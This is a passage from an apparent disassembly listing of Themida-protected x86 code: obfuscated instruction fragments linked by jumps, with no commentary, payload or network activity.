		sub	dword ptr [esp+4], 1CF52255h
		jmp	loc_571A1F
; ---------------------------------------------------------------------------


loc_571283:				; CODE XREF: Themida_:0056C632j
		push	ecx
		mov	ecx, 6FEE24C6h
		shr	ecx, 1
		jmp	loc_56F043
; ---------------------------------------------------------------------------


loc_571290:				; CODE XREF: Themida_:00570F36j
		mov	[esp], ebx
		push	ecx
		jmp	loc_562553
; ---------------------------------------------------------------------------


loc_571299:				; CODE XREF: Themida_:00569453j
		mov	ebp, 7DE739F2h
		xor	ebp, 747B479Fh
		jmp	loc_571D03
; ---------------------------------------------------------------------------


loc_5712A9:				; CODE XREF: Themida_:0056276Fj
		mov	edi, 17B4033Fh
		push	ebp
		push	0E105895h
		pop	ebp
		sub	ebp, 0E95845EBh
		jmp	loc_56020D
; ---------------------------------------------------------------------------


loc_5712C0:				; CODE XREF: Themida_:005684C3j
		push	70B8h
		mov	[esp], esi
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_569263
; ---------------------------------------------------------------------------


loc_5712D6:				; CODE XREF: Themida_:00565979j
		sub	edx, 2E34457h
		jmp	loc_55FF2D
; ---------------------------------------------------------------------------


loc_5712E1:				; CODE XREF: Themida_:0055FF36j
		sub	edx, 307E6E10h
		add	edx, 36E12CB2h
		push	ecx
		jmp	loc_56D54E
; ---------------------------------------------------------------------------


loc_5712F3:				; CODE XREF: Themida_:00560C81j
		mov	edx, 530B5413h
		jmp	loc_5690F0
; ---------------------------------------------------------------------------


loc_5712FD:				; CODE XREF: Themida_:00562C6Cj
		push	eax
		mov	eax, 34C95656h
		xor	eax, 0CE10E672h
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 36133D5Dh
		jmp	loc_55E3F6
; ---------------------------------------------------------------------------


loc_57131E:				; CODE XREF: Themida_:0055E93Ej
		pop	ebp
		xor	ebx, ecx
		pop	ecx
		not	ebx
		inc	ebx
		push	ebp
		jmp	loc_57124F
; ---------------------------------------------------------------------------


loc_57132B:				; CODE XREF: Themida_:0055E15Ej
		mov	[esp], ax
		push	edx
		mov	dh, 0Fh
		mov	al, 17h
		add	al, dh
		jmp	loc_55DA4F
; ---------------------------------------------------------------------------


loc_57133B:				; CODE XREF: Themida_:00561F75j
		not	ebx
		shr	ebx, 5
		add	ebx, 44A74499h
		add	eax, ebx
		jmp	loc_571587
; ---------------------------------------------------------------------------


loc_57134D:				; CODE XREF: Themida_:0056D8B7j
		mov	edi, esp
		jmp	loc_56CC4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_571354:				; CODE XREF: sub_59DB3D-2CD4Ej
		add	al, 60h
		sub	al, ch
		sub	al, 60h
		sub	al, 93h
		mov	ecx, [esp+0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+32h+var_32]
		pop	esp
		add	al, 36h
		sub	al, bl
		push	ebx
		mov	bh, 36h
		sub	al, bh
		pop	ebx
		sub	esp, 4
		jmp	loc_56AB8C
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_571387:				; CODE XREF: Themida_:00568C17j
		sub	edx, 28D761C1h
		pop	ebp
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55FD0F
; ---------------------------------------------------------------------------


loc_5713A2:				; CODE XREF: Themida_:00561C18j
		mov	[esp], edx
		jmp	loc_5726CC
; ---------------------------------------------------------------------------


loc_5713AA:				; CODE XREF: Themida_:0055DC25j
		neg	cl
		inc	cl
		push	edx
		mov	dh, 53h
		and	dh, 4
		push	edx
		neg	byte ptr [esp+1]
		jmp	loc_566230
; ---------------------------------------------------------------------------


loc_5713BE:				; CODE XREF: Themida_:00568BDEj
		pop	edi
		add	esp, 4
		jmp	loc_55FD71
; ---------------------------------------------------------------------------


loc_5713CA:				; CODE XREF: Themida_:00563FE2j
		add	ch, 1
		sub	ch, 0D7h
		shr	ch, 3
		push	edx
		mov	dh, 0D6h
		jmp	loc_56C184
; ---------------------------------------------------------------------------


loc_5713DB:				; CODE XREF: Themida_:00562403j
		sub	dl, 1
		shr	dl, 1
		push	eax
		jmp	loc_56D032
; ---------------------------------------------------------------------------


loc_5713E6:				; CODE XREF: Themida_:00568978j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_5669AD
; ---------------------------------------------------------------------------


loc_5713F4:				; CODE XREF: Themida_:005680D3j
		push	7C67h
		jmp	loc_567ADA
; ---------------------------------------------------------------------------


loc_5713FE:				; CODE XREF: Themida_:005682BAj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_571BAF
; ---------------------------------------------------------------------------


loc_571407:				; CODE XREF: Themida_:00568FB4j
		sub	esi, 2
		jmp	loc_566C63
; ---------------------------------------------------------------------------


loc_57140F:				; CODE XREF: Themida_:0056309Cj
		mov	ebp, edi
		pop	edi
		dec	ebp
		or	ebp, 1BC93373h
		jmp	loc_5710F5
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_55E7F3
; ---------------------------------------------------------------------------


loc_571431:				; CODE XREF: Themida_:00568FAEj
		add	ebx, 4
		jmp	loc_568F0D
; ---------------------------------------------------------------------------


loc_57143C:				; CODE XREF: Themida_:00565A64j
		mov	edi, 0FFFFFFFFh
		add	esi, 61D8448Dh
		add	esi, edi
		sub	esi, 61D8448Dh
		jmp	loc_55E972
; ---------------------------------------------------------------------------


loc_571454:				; CODE XREF: Themida_:0056E1FEj
		sub	esp, 4
		jmp	loc_56C1C4
; ---------------------------------------------------------------------------


loc_57145C:				; CODE XREF: Themida_:00570489j
		or	ebp, 6C6401A4h
		push	esi
		jmp	loc_565C6B
; ---------------------------------------------------------------------------


loc_571468:				; CODE XREF: Themida_:0056D3BFj
		sub	ebx, 51A905E0h
		jmp	loc_566DB0
; ---------------------------------------------------------------------------


loc_571473:				; CODE XREF: Themida_:0057182Bj
		xor	al, dh
		jmp	loc_56358B
; ---------------------------------------------------------------------------


loc_57147A:				; CODE XREF: Themida_:00571090j
		xor	edx, [esp]
		mov	esp, [esp]
		push	6E9Fh
		mov	[esp], edx
		push	1
		pop	edx
		jmp	loc_569476
; ---------------------------------------------------------------------------


loc_571493:				; CODE XREF: Themida_:00568E71j
		mov	[esp], eax
		jmp	loc_571647
; ---------------------------------------------------------------------------


loc_57149B:				; CODE XREF: Themida_:00563E86j
		push	ebp
		push	ebx
		mov	ebx, 3003313Fh
		jmp	loc_56CAE4
; ---------------------------------------------------------------------------


loc_5714A7:				; CODE XREF: Themida_:00563E0Bj
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_5714AC:				; CODE XREF: Themida_:0056D114j
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		jmp	loc_564065
; ---------------------------------------------------------------------------


loc_5714C6:				; CODE XREF: Themida_:00568BE4j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 80h
		push	eax
		push	edx
		jmp	loc_568578
; ---------------------------------------------------------------------------


loc_5714E7:				; CODE XREF: Themida_:00564FD2j
		shl	cl, 8
		xor	cl, 0CFh
		mov	dl, cl
		pop	ecx
		jmp	loc_569226
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0B2685524h, 0E9000028h, 0FFFF761Ch
; ---------------------------------------------------------------------------


loc_571504:				; CODE XREF: Themida_:0055EC22j
		add	esi, 166119B9h
		pop	ecx
		jmp	loc_562568
; ---------------------------------------------------------------------------


loc_571510:				; CODE XREF: Themida_:00568A03j
		mov	eax, 4E9103F5h
		xor	eax, 4E9103F1h
		jmp	loc_5641E4
; ---------------------------------------------------------------------------


loc_57151F:				; CODE XREF: Themida_:0056D676j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_571534:				; CODE XREF: Themida_:0056B4A9j
		sub	ebp, eax
		pop	eax
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_562049
; ---------------------------------------------------------------------------


loc_571544:				; CODE XREF: Themida_:0056F527j
		pop	esi
		sub	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebx
		push	2
		jmp	loc_5664BA
; ---------------------------------------------------------------------------


loc_571568:				; CODE XREF: Themida_:0056D451j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mul	cx
		push	small 761Bh
		jmp	loc_56063B
; ---------------------------------------------------------------------------


loc_571587:				; CODE XREF: Themida_:00571348j
		pop	ebx
		pop	ecx
		push	70B5h
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_565F86
; ---------------------------------------------------------------------------


loc_57159A:				; CODE XREF: Themida_:005695A6j
		add	ecx, edi
		pop	edi
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56D6C5
; ---------------------------------------------------------------------------


loc_5715B4:				; CODE XREF: Themida_:0056EDF8j
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_56EB14
; ---------------------------------------------------------------------------


loc_5715EB:				; CODE XREF: Themida_:005676C6j
		xor	edx, esi
		jmp	loc_5697EF
; ---------------------------------------------------------------------------


loc_5715F2:				; CODE XREF: Themida_:00564081j
		push	ebp
		push	19F9h
		mov	[esp], esp
		jmp	loc_570510
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55D359
; ---------------------------------------------------------------------------


loc_57161D:				; CODE XREF: Themida_:00561CDBj
		mov	[esp], ecx
		mov	ecx, 5DB46B96h
		shr	ecx, 6
		shl	ecx, 2
		xor	ecx, 7EC57CCh
		sub	ebx, 681331E8h
		sub	ebx, ecx
		push	edx
		jmp	loc_564979
; ---------------------------------------------------------------------------


loc_57163F:				; CODE XREF: Themida_:005601E9j
		mov	[esp], ecx
		jmp	loc_56F078
; ---------------------------------------------------------------------------


loc_571647:				; CODE XREF: Themida_:00571496j
		mov	eax, 65083FA5h
		sub	esi, eax
		pop	eax
		and	esi, 71862E89h
		push	ebx
		jmp	loc_568EBA
; ---------------------------------------------------------------------------


loc_57165B:				; CODE XREF: Themida_:00564E67j
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_55EAE8
; ---------------------------------------------------------------------------


loc_571665:				; CODE XREF: Themida_:00561DE3j
		or	edi, 63861811h
		and	edi, 21AA3A97h
		jmp	loc_563B43

; =============== S U B	R O U T	I N E =======================================



sub_571676	proc near		; CODE XREF: sub_59DB3D-3ED64j

; FUNCTION CHUNK AT 0056E6C3 SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_56E6C3
sub_571676	endp

; ---------------------------------------------------------------------------


loc_57167E:				; CODE XREF: Themida_:00571A0Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_57168E:				; CODE XREF: Themida_:00570843j
		mov	bl, 0F8h
		jmp	loc_55D418
; ---------------------------------------------------------------------------


loc_571695:				; CODE XREF: Themida_:00571B6Bj
		shr	cl, 6
		push	ebx
		mov	bh, 2Ah
		and	cl, bh
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	bx
		mov	bh, 36h
		sub	cl, bh
		pop	bx
		sub	cl, 4Dh
		sub	esp, 4
		jmp	loc_57217D
; ---------------------------------------------------------------------------


loc_5716C7:				; CODE XREF: Themida_:00564253j
		xor	esi, 6BBE4B7Fh
		sub	ebx, esi
		pop	esi
		xor	ebx, 0CEF98560h
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 7BD27926h
		jmp	loc_56A665
; ---------------------------------------------------------------------------


loc_5716E8:				; CODE XREF: Themida_:0056ED53j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_571AF4
; ---------------------------------------------------------------------------


loc_5716F8:				; CODE XREF: Themida_:0055DCACj
		pop	esp
		movsx	cx, al
		push	4236h
		mov	[esp], ebx
		push	196Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	25BEh
		mov	[esp], eax
		jmp	loc_56646C
; ---------------------------------------------------------------------------


loc_57171F:				; CODE XREF: Themida_:0055DBBFj
		push	edi
		pop	esi
		push	dword ptr [esp]
		pop	edi
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 5AB71663h
		not	edi
		jmp	loc_565AC9
; ---------------------------------------------------------------------------


loc_571735:				; CODE XREF: Themida_:00565E63j
		push	ebx
		mov	ebx, 2CD35007h
		push	4825h
		mov	[esp], ebp
		jmp	loc_567A3E
; ---------------------------------------------------------------------------


loc_571748:				; CODE XREF: Themida_:0055F71Bj
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, 54634E14h
		inc	eax
		sub	eax, 7D702C18h
		shl	eax, 3
		jmp	loc_572504
; ---------------------------------------------------------------------------


loc_571765:				; CODE XREF: Themida_:00561AA1j
		add	ecx, 1
		push	eax
		mov	eax, 593D6CAFh
		xor	ecx, eax
		pop	eax
		or	ecx, 65473CFBh
		xor	ecx, 7C00EEFEh
		add	eax, ecx
		jmp	loc_5636C0
; ---------------------------------------------------------------------------


loc_571787:				; CODE XREF: Themida_:0055D550j
		and	edx, 7B7E6960h
		shr	edx, 3
		jmp	loc_56908F
; ---------------------------------------------------------------------------


loc_571795:				; CODE XREF: Themida_:00564016j
		push	ebx
		mov	ebx, 6B3974D7h
		or	ecx, ebx
		jmp	loc_564E6C
; ---------------------------------------------------------------------------


loc_5717A2:				; CODE XREF: Themida_:0057215Cj
		push	ebp
		mov	ebp, 7C8F7B83h
		mov	esi, ebp
		pop	ebp
		jmp	loc_5651D9
; ---------------------------------------------------------------------------


loc_5717B0:				; CODE XREF: Themida_:0056AFDCj
		push	eax
		push	ebp
		mov	ebp, 37255B80h
		mov	eax, ebp
		pop	ebp
		push	esi
		jmp	loc_56788A
; ---------------------------------------------------------------------------


loc_5717C0:				; CODE XREF: Themida_:00560251j
		xor	ebx, 364A4B45h
		mov	edi, ebx
		pop	ebx
		xor	edi, 1FF14CF7h
		push	esi
		mov	esi, 0C6F1FE7h
		xor	esi, 304F7B49h
		jmp	loc_55FCDC
; ---------------------------------------------------------------------------


loc_5717E0:				; CODE XREF: Themida_:005608CDj
		sub	[esp+8], edx
		pop	edx
		sub	dword ptr [esp+4], 2F855D9h
		jmp	loc_56501C
; ---------------------------------------------------------------------------


loc_5717F2:				; CODE XREF: Themida_:0056D3B4j
		pop	ebp
		neg	ebp
		neg	ebp
		xor	ebp, 98B01EFh
		xor	ebp, 594A5F9Eh
		mov	edx, ebp
		pop	ebp
		inc	edx
		shl	edx, 8
		jmp	loc_5700DE
; ---------------------------------------------------------------------------


loc_57180F:				; CODE XREF: Themida_:005708FEj
		xor	ebx, 0C471462h
		push	edi
		mov	edi, ebx
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55DE3B
; ---------------------------------------------------------------------------


loc_571828:				; CODE XREF: Themida_:00570CD7j
		pop	ebx
		mov	al, 10h
		jmp	loc_571473
; ---------------------------------------------------------------------------


loc_571830:				; CODE XREF: Themida_:00566066j
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp], esi
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		push	eax
		jmp	loc_561BF8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	39F4h
		mov	[esp], eax
		push	5D4h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebp
		jmp	loc_56D39E
; ---------------------------------------------------------------------------


loc_57186F:				; CODE XREF: Themida_:005635E0j
		add	esp, 4
		jmp	loc_5690B8
; ---------------------------------------------------------------------------


loc_57187A:				; CODE XREF: Themida_:0055F823j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_571886:				; CODE XREF: Themida_:0056C6FDj
		xor	ecx, [edi+24h]
		push	ebx
		push	esi
		mov	esi, 2FBC65BAh
		mov	ebx, 2FBC659Eh
		xor	ebx, esi
		pop	esi
		add	ebx, edi
		push	eax
		mov	eax, 0
		add	eax, ebx
		push	ebx
		mov	ebx, 0
		add	ebx, eax
		xor	[ebx], ecx
		pop	ebx
		pop	eax
		jmp	loc_56B7BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_5718B3:				; CODE XREF: sub_59DB3D-32FAEj
		mov	bh, 41h
		sub	bh, 1Fh
		push	edx
		mov	dh, 7
		not	dh
		jmp	loc_5701F9
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		jmp	loc_566AF0
; ---------------------------------------------------------------------------


loc_5718CC:				; CODE XREF: Themida_:005701E6j
		pop	esi
		add	edx, 52F33B1Bh
		sub	edx, 29B64EA5h
		add	edx, ebp
		jmp	loc_565A88
; ---------------------------------------------------------------------------


loc_5718E0:				; CODE XREF: Themida_:00561656j
		push	esi
		mov	esi, 4D797883h
		neg	esi
		xor	esi, 0CD798A73h
		jmp	loc_56D38C
; ---------------------------------------------------------------------------


loc_5718F3:				; CODE XREF: Themida_:005617E4j
		mov	esp, [esp]
		imul	ecx
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56E067
; ---------------------------------------------------------------------------


loc_57190D:				; CODE XREF: Themida_:005613EFj
		xor	eax, [esp]
		mov	esp, [esp]
		push	412Ch
		mov	[esp], eax
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_571920:				; CODE XREF: Themida_:00568F16j
		pop	esp
		mov	[esp], ebx
		mov	bl, 80h
		sub	al, bl
		pop	ebx
		add	al, 23h
		jmp	loc_569EBF
; ---------------------------------------------------------------------------


loc_571930:				; CODE XREF: Themida_:00566934j
		sub	ebx, 4AFC0507h
		dec	ebx
		sub	ebx, 0FFFFFFFFh
		add	ebx, 0E62FE1CDh
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_56FE00
; ---------------------------------------------------------------------------


loc_571956:				; CODE XREF: Themida_:00564236j
		pop	edi
		jmp	loc_56C660
; ---------------------------------------------------------------------------


loc_57195C:				; CODE XREF: Themida_:0056ED5Cj
		push	ecx
		mov	ecx, 7C7E3533h
		or	ecx, 0FDB30C4h
		dec	ecx
		xchg	eax, ecx
		inc	eax
		jmp	loc_55DECB
; ---------------------------------------------------------------------------


loc_571970:				; CODE XREF: Themida_:0056C86Fj
		pop	esp
		mov	[esp], ebx
		push	esi
		push	54B663BFh
		jmp	loc_56774B
; ---------------------------------------------------------------------------


loc_57197F:				; CODE XREF: Themida_:0055DD81j
		mov	ebx, 4C931443h
		mov	eax, 533C7CCAh
		xor	eax, ebx
		pop	ebx
		or	eax, 46E85D56h
		xor	eax, 38923FC4h
		sub	eax, 0FFFFFFFFh
		shl	eax, 8
		shr	eax, 1
		push	ecx
		mov	ecx, 702F3247h
		shr	ecx, 6
		neg	ecx
		add	ecx, 2D4778CDh
		sub	eax, ecx
		pop	ecx
		add	ebp, 588F5D72h
		jmp	loc_561F81
; ---------------------------------------------------------------------------


loc_5719BD:				; CODE XREF: Themida_:0056253Bj
		push	2669h
		jmp	loc_563D9B
; ---------------------------------------------------------------------------


loc_5719C7:				; CODE XREF: Themida_:005669B2j
		mov	esi, [esp]
		push	734Bh
		mov	[esp], eax
		jmp	loc_55DC3E
; ---------------------------------------------------------------------------


loc_5719D7:				; CODE XREF: Themida_:005675E3j
		push	esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 58BD54F8h
		dec	edx
		jmp	loc_56274C
; ---------------------------------------------------------------------------


loc_5719E6:				; CODE XREF: Themida_:0055F5FCj
		shl	ebx, 2
		sub	ebx, 58C19731h
		sub	esi, ebx
		pop	ebx
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_568216
; ---------------------------------------------------------------------------


loc_5719FC:				; CODE XREF: Themida_:0056C3D1j
		pop	ecx
		add	edi, 2
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_57167E
; ---------------------------------------------------------------------------


loc_571A13:				; CODE XREF: Themida_:0055E210j
		sub	ecx, 7D3B6807h
		inc	ecx
		jmp	loc_56698A
; ---------------------------------------------------------------------------


loc_571A1F:				; CODE XREF: Themida_:0057127Ej
		add	[esp+4], edi
		jmp	loc_562661
; ---------------------------------------------------------------------------


loc_571A28:				; CODE XREF: Themida_:005701D9j
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5602C4
; ---------------------------------------------------------------------------


loc_571A3F:				; CODE XREF: Themida_:00570969j
		sub	ebx, 305B2AF0h
		push	9A4h
		jmp	loc_56D0C8
; ---------------------------------------------------------------------------


loc_571A4F:				; CODE XREF: Themida_:00570BB0j
		push	ecx
		mov	ecx, 3E5C34FBh
		add	edx, ecx
		pop	ecx
		sub	edx, 6BAB1204h
		jmp	loc_56CE31
; ---------------------------------------------------------------------------


loc_571A63:				; CODE XREF: Themida_:0056E7A0j
		add	edi, 2CC57D80h
		pop	ecx
		jmp	loc_5689EB
; ---------------------------------------------------------------------------


loc_571A6F:				; CODE XREF: Themida_:005706F7j
		mov	esp, [esp]
		push	1B8Eh
		mov	[esp], edx
		jmp	loc_570607
; ---------------------------------------------------------------------------


loc_571A7F:				; CODE XREF: Themida_:00567746j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		jmp	loc_55EE16
; ---------------------------------------------------------------------------


loc_571A8F:				; CODE XREF: Themida_:0056706Aj
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_571A94:				; CODE XREF: Themida_:0056AB31j
		sub	esi, edx
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 2
		jmp	loc_5614D1
; ---------------------------------------------------------------------------


loc_571AAB:				; CODE XREF: Themida_:00562C58j
		mov	ebp, edx
		jmp	loc_560CB8
; ---------------------------------------------------------------------------


loc_571AB2:				; CODE XREF: Themida_:005619C1j
		mov	edx, 24h
		add	edx, edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55FC44
; ---------------------------------------------------------------------------


loc_571AD0:				; CODE XREF: Themida_:0056A660j
		pop	dword ptr [esp]
		pop	esp
		push	0C17h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 4
		add	edx, esi
		mov	esi, [esp]
		jmp	loc_56B7CE
; ---------------------------------------------------------------------------


loc_571AF4:				; CODE XREF: Themida_:005716F3j
		xchg	edx, [esp]
		pop	esp
		pop	esi
		jmp	loc_55F513
; ---------------------------------------------------------------------------


loc_571AFE:				; CODE XREF: Themida_:00570046j
		push	17705D5Ch
		jmp	loc_56C3A6
; ---------------------------------------------------------------------------


loc_571B08:				; CODE XREF: Themida_:0056D02Dj
		add	eax, 4
		jmp	loc_568D28
; ---------------------------------------------------------------------------


loc_571B12:				; CODE XREF: Themida_:00565F31j
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_571B1E:				; CODE XREF: Themida_:0056B839j
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 431B68DEh
		sub	edx, 7C71634Ch
		push	ecx
		mov	ecx, 13CE7934h
		jmp	loc_564046
; ---------------------------------------------------------------------------


loc_571B41:				; CODE XREF: Themida_:005669D1j
		pop	edi
		sub	esp, 4
		jmp	loc_55DD96
; ---------------------------------------------------------------------------


loc_571B4A:				; CODE XREF: Themida_:005601DFj
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_565E08
; ---------------------------------------------------------------------------


loc_571B57:				; CODE XREF: Themida_:0056AC08j
		pop	edx
		xor	dl, bl
		push	dword ptr [esp]
		jmp	loc_56A690
; ---------------------------------------------------------------------------


loc_571B62:				; CODE XREF: Themida_:005661ADj
		add	esp, 4
		add	cl, 0FFh
		jmp	loc_571695
; ---------------------------------------------------------------------------


loc_571B70:				; CODE XREF: Themida_:00568522j
		add	esp, 4
		push	edi
		mov	edi, 22D1594Bh
		add	edi, 28B9591Bh
		neg	edi
		not	edi
		sub	edi, 0CF68451Eh
		add	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 6D3A4F84h
		inc	ecx
		push	edi
		mov	edi, 52640572h
		xor	ecx, edi
		jmp	loc_560AEE
; ---------------------------------------------------------------------------


loc_571BA0:				; CODE XREF: Themida_:00566771j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56A48C
; ---------------------------------------------------------------------------


loc_571BAF:				; CODE XREF: Themida_:00571402j
		add	bh, 9Bh
		neg	bh
		jmp	loc_56B19A
; ---------------------------------------------------------------------------


loc_571BB9:				; CODE XREF: Themida_:0056B168j
		pop	eax
		xor	esi, 6B961D38h
		and	esi, 652748BDh
		jmp	loc_563095
; ---------------------------------------------------------------------------


loc_571BCB:				; CODE XREF: Themida_:0056CE42j
		push	ecx
		mov	cl, 4Eh
		mov	dl, cl
		pop	ecx
		jmp	loc_5644F6
; ---------------------------------------------------------------------------


loc_571BD6:				; CODE XREF: Themida_:0056FF36j
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 61EE633Bh
		jmp	loc_565091
; ---------------------------------------------------------------------------


loc_571BE6:				; CODE XREF: Themida_:005643CFj
		pop	ecx
		sub	bl, 3Bh
		add	bl, dh
		add	bl, 3Bh
		pop	edx
		push	782Ah
		jmp	loc_561FF6
; ---------------------------------------------------------------------------


loc_571BFA:				; CODE XREF: Themida_:0056D7C9j
		sub	edi, ebp
		pop	ebp
		sub	edi, 767379FDh
		sub	edi, 67D00A6Fh
		pop	ebp
		jmp	loc_567D72
; ---------------------------------------------------------------------------


loc_571C0F:				; CODE XREF: Themida_:0056513Aj
		add	edi, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_568078
; ---------------------------------------------------------------------------


loc_571C20:				; CODE XREF: Themida_:0056A6F9j
		add	bl, 55h
		jmp	loc_5626E8
; ---------------------------------------------------------------------------


loc_571C28:				; CODE XREF: Themida_:0056BDEFj
		mov	esp, [esp]
		jmp	loc_56DF0B
; ---------------------------------------------------------------------------


loc_571C30:				; CODE XREF: Themida_:005630A4j
		xor	ebp, [esp]
		jmp	loc_56BCD5
; ---------------------------------------------------------------------------


loc_571C38:				; CODE XREF: Themida_:0056C40Dj
		pop	ecx
		add	esi, ebp
		pop	ebp
		dec	esi
		push	ebx
		jmp	loc_55F5F1
; ---------------------------------------------------------------------------


loc_571C43:				; CODE XREF: Themida_:0056FFB3j
		sub	eax, 4C6D6055h
		add	eax, 76334CF2h
		sub	eax, ebx
		jmp	loc_565289
; ---------------------------------------------------------------------------


loc_571C54:				; CODE XREF: Themida_:0056F635j
		add	bl, ch
		jmp	loc_55F69A
; ---------------------------------------------------------------------------


loc_571C5B:				; CODE XREF: Themida_:0055FEE0j
		add	edx, ebp
		add	edx, 292E408Ah
		add	edx, 73A761Ah
		pop	ebp
		jmp	loc_569B8C
; ---------------------------------------------------------------------------


loc_571C6F:				; CODE XREF: Themida_:0056E5FEj
		not	esi
		jmp	loc_567113
; ---------------------------------------------------------------------------


loc_571C76:				; CODE XREF: Themida_:00570CECj
		xor	edx, ebx
		pop	ebx
		jmp	loc_567E2A
; ---------------------------------------------------------------------------


loc_571C7E:				; CODE XREF: Themida_:0055ED1Aj
		xchg	eax, [esp]
		pop	esp
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	3402h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_56CB3B
; ---------------------------------------------------------------------------


loc_571C9A:				; CODE XREF: Themida_:00570B19j
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	ebp
		jmp	loc_565A20
; ---------------------------------------------------------------------------


loc_571CA7:				; CODE XREF: Themida_:00566103j
		push	ebp
		mov	ebp, 77AE5B54h
		jmp	loc_5696F8
; ---------------------------------------------------------------------------


loc_571CB2:				; CODE XREF: Themida_:00567DADj
		push	edx
		mov	edx, 7ED26FA3h
		xor	edx, 7ED26FA7h
		jmp	loc_56065C
; ---------------------------------------------------------------------------


loc_571CC3:				; CODE XREF: Themida_:00569A09j
		push	esi
		jmp	loc_570E9F
; ---------------------------------------------------------------------------


